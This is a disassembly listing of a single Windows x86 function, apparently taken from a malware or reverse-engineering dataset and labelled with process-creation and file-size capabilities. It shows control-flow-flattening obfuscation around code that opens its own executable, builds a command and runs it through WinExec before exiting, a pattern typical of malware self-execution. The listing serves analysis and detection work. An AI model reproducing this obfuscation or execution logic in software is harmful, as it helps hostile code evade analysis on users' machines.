Function at 0x433740
Capabilities:
Create process on windows
Get file size
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x840
mov esi, esp
mov dword [esi], 0x81fa5c77
mov edi, dword [esi + 0x18]
mov eax, dword [esi]
cmp eax, 0xacde223
jg 0x4337c6
cmp eax, 0xd17bb27c
jg 0x433838
cmp eax, 0xa5421aed
jg 0x4338ee
cmp eax, 0x9e2a8d5a
jg 0x433a39
cmp eax, 0x81fa5c77
je 0x433bcd
cmp eax, 0x9413119a
jne 0x43375a
lea edi, [edi*8 - 0x450]
push 0x3e50
push edi
push 0x4234
call fcn.00425eef
add esp, 0xc
mov eax, 0x9f55d049
cmp edi, 0xd6
jb 0x433896
jmp 0x433ca0
cmp eax, 0x2ca1adc7
jle 0x4338a0
cmp eax, 0x4d75da68
jg 0x433945
cmp eax, 0x4162420d
jg 0x433a6c
cmp eax, 0x2ca1adc8
je 0x433be4
cmp eax, 0x3cf3a764
jne 0x43375a
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x200
push dword [esi + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push ebx
push 3
push ebx
push 7
push 0x80000000
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi + 0x1c], eax
mov dword [esi], 0x2af00f3c
jmp 0x43375a
cmp eax, 0xf402c2ce
jle 0x433981
cmp eax, 0x4774cb4
jg 0x433a87
cmp eax, 0xf402c2cf
je 0x433bfe
cmp eax, 0xf5632118
jne 0x43375a
imul edi, edi, 0x318000
add edi, 0x364000
call fcn.00407e02
push edi
push 0x61bd
push 0x52c0
call fcn.00425eef
add esp, 0xc
mov eax, 0xb9cab840
cmp edi, 0x24
jl 0x433ca0
mov eax, 0x744fc4ce
jmp 0x433ca0
cmp eax, 0x228425fe
jle 0x4339c3
cmp eax, 0x2af00f3b
jg 0x433acf
cmp eax, 0x228425ff
je 0x433c17
cmp eax, 0x27a97148
jne 0x43375a
mov eax, dword [esi + 4]
shl eax, 3
and eax, 0xffff8
imul eax, eax, 0xdc
add eax, 0xffffffcb
mov dword [esi + 4], eax
mov dword [esi], 0x9f55d049
jmp 0x43375a
cmp eax, 0xb9cab83f
jg 0x433b0b
cmp eax, 0xa5421aee
je 0x433c5f
cmp eax, 0xacdf80aa
jne 0x43375a
add edi, 0xffffff26
push 0xd5d
push 0x5782
push 0x352e
push edi
call fcn.00433dd0
add esp, 0x10
mov eax, 0xa5421aee
cmp edi, 0x15
jge 0x433ca0
mov eax, 0x9e2a8d5b
jmp 0x433ca0
cmp eax, 0x7301b97b
jg 0x433b66
cmp eax, 0x4d75da69
je 0x433c76
cmp eax, 0x686a1597
jne 0x43375a
push 0x68
push dword [esi + 0x10]
push dword [esi + 0x14]
call fcn.00443560
add esp, 0xc
mov dword [esi], 0x4d75da69
jmp 0x43375a
cmp eax, 0xe95f12ed
jle 0x433b95
cmp eax, 0xe95f12ee
je 0x433ca7
cmp eax, 0xea7b87b1
jne 0x43375a
shl edi, 0x10
add edi, 0xffffffc8
call fcn.00407e02
mov eax, 0xd17bb27d
cmp edi, 0xd0
jge 0x433c58
jmp 0x433ca0
cmp eax, 0x20baa0c3
jg 0x433bab
cmp eax, 0xacde224
je 0x433cb5
cmp eax, 0x1bccc98a
jne 0x43375a
push dword [esi + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov eax, dword [esi + 0x14]
sub esp, 0x68
mov eax, esp
mov dword [esi + 0x10], eax
mov eax, dword [esi + 0x10]
mov byte [eax + 0x67], 0
mov ebx, 0x67
push ebx
push 0x474020
push dword [esi + 0x10]
call fcn.00443560
add esp, 0xc
push 4
push 0x474087
push ebx
push dword [esi + 0x10]
call fcn.00433dd0
add esp, 0x10
mov dword [esi], 0x2ca1adc8
jmp 0x43375a
cmp eax, 0x9e2a8d5b
je 0x433cce
cmp eax, 0x9f55d049
jne 0x43375a
mov eax, dword [esi + 0x20]
mov ecx, dword [esi + 0x24]
add eax, 0xffffffff
adc ecx, 0xffffffff
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], ecx
mov dword [esi], 0xacde224
jmp 0x43375a
cmp eax, 0x4162420e
je 0x433ce2
cmp eax, 0x4443c68a
je 0x433c6b
jmp 0x43375a
cmp eax, 0x4774cb5
je 0x433cf0
cmp eax, 0x99aefd2
jne 0x43375a
mov eax, dword [esi + 4]
mov ecx, 0x97
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x861f
shr eax, 1
dec edx
mov dword [esi + 4], eax
mov eax, 0xf5632118
cmp edx, ecx
je 0x433ca0
mov eax, 0x216f6113
jmp 0x433ca0
cmp eax, 0x2af00f3c
je 0x433d28
cmp eax, 0x2c3208a1
jne 0x43375a
shl edi, 6
add edi, 0x5d
call fcn.00407e02
mov eax, 0x3cf3a764
cmp edi, 0xaf
jge 0x433ca0
mov eax, 0x20baa0c4
jmp 0x433ca0
cmp eax, 0xb9cab840
je 0x433d42
cmp eax, 0xbc15ecb5
jne 0x43375a
lea eax, [edi*4 - 0xa4]
and eax, 0xffffc000
imul edi, eax, 0x46
add edi, 0xffffffe0
push edi
push 0x24d
push 0x93e
call fcn.00425eef
add esp, 0xc
call fcn.00407e02
mov eax, 0x20baa0c4
cmp edi, 0xfd
jl 0x433ca0
mov eax, 0x3cf3a764
jmp 0x433ca0
cmp eax, 0x7301b97c
je 0x433d67
cmp eax, 0x744fc4ce
jne 0x43375a
mov eax, dword [esi + 8]
mov ecx, dword [esi + 0x28]
mov edx, dword [esi + 0x2c]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov dword [esi], 0xf402c2cf
jmp 0x43375a
cmp eax, 0xe67b9927
jne 0x433d7a
mov dword [esi], 0xe95f12ee
jmp 0x43375a
cmp eax, 0x20baa0c4
jne 0x433d87
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 8], eax
mov dword [esi], 0x4774cb5
jmp 0x43375a
push eax
sub esp, 0x1fc
mov eax, esp
mov dword [esi + 0xc], eax
mov dword [esi], 0x20baa0c4
jmp 0x43375a
imul eax, dword [esi + 4], 0xdc00000
add eax, 0x2d80000
mov dword [esi + 4], eax
mov dword [esi], 0x686a1597
jmp 0x43375a
mov eax, dword [esi + 4]
shl eax, 0x19
add eax, 0xffffff16
mov dword [esi + 4], eax
mov dword [esi], 0x1bccc98a
jmp 0x43375a
add edi, 0xffffff5a
shr edi, 4
imul edi, edi, 0x68
push 0x1630
push edi
push 0x39d0
call fcn.00425eef
add esp, 0xc
push 0x41f2
push edi
push 0x4248
push 0x32cf
call fcn.00433dd0
add esp, 0x10
mov eax, 0xbc15ecb5
cmp edi, 0x6b
jae 0x433ca0
mov eax, 0x81fa5c77
jmp 0x433ca0
lea edi, [edi + edi*8]
shl edi, 0xf
add edi, 0x39a764c
mov dword [esi], 0x3cf3a764
jmp 0x43375a
mov eax, dword [esi + 4]
mov ecx, 0xffffff5e
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x7ddb
shr eax, 8
dec edx
mov dword [esi + 4], eax
mov eax, 0x2c3208a1
cmp ecx, edx
je 0x433ca0
mov eax, 0x7301b97c
mov dword [esi], eax
jmp 0x43375a
mov eax, dword [esi + 0xc]
mov dword [esi], 0x4443c68a
jmp 0x43375a
mov eax, dword [esi + 4]
shl eax, 0xc
add eax, 0xffed3eb6
mov dword [esi + 4], eax
mov dword [esi], 0x744fc4ce
jmp 0x43375a
push eax
sub esp, 0x64
mov eax, esp
mov dword [esi + 0x14], eax
mov dword [esi], 0xe67b9927
jmp 0x43375a
mov eax, dword [esi + 8]
mov dword [esi], 0xb9cab840
jmp 0x43375a
imul ecx, dword [esi + 4], 0xcf
lea eax, [ecx + 0x424e]
imul eax, eax
imul edx, eax, 0x7ac1
add ecx, 0x4345
dec edx
shr ecx, 5
mov dword [esi + 4], ecx
mov ecx, 0x81fa5c77
cmp edx, eax
je 0x433d21
mov ecx, 0x9e2a8d5b
mov dword [esi], ecx
jmp 0x43375a
imul eax, dword [esi + 4], 0x1c520
add eax, 0xfffffd91
mov dword [esi + 4], eax
mov dword [esi], 0x4162420e
jmp 0x43375a
push dword [esi + 8]
push dword [esi + 0x1c]
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esi + 8]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esi + 0x20], ecx
mov dword [esi + 0x24], eax
mov dword [esi], 0x27a97148
jmp 0x43375a
mov eax, dword [esi + 8]
mov eax, dword [eax]
mov dword [esi + 0x34], eax
mov dword [esi], 0x99aefd2
jmp 0x43375a
cmp eax, 0xd17bb27d
jne 0x43375a
jmp 0x433dc2
cmp eax, 0x216f6113
jne 0x43375a
mov dword [esi + 0x18], edi
mov eax, dword [esi + 0xc]
lea edi, [esi + 0x38]
push eax
push eax
push dword [esi + 0x34]
push dword [esi + 0x14]
push 0x800
push edi
call fcn.00425eef
add esp, 0x18
xor ebx, ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WinExec]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
add edi, 0xffffffce
mov dword [esi + 0x18], edi
call fcn.00433740
int3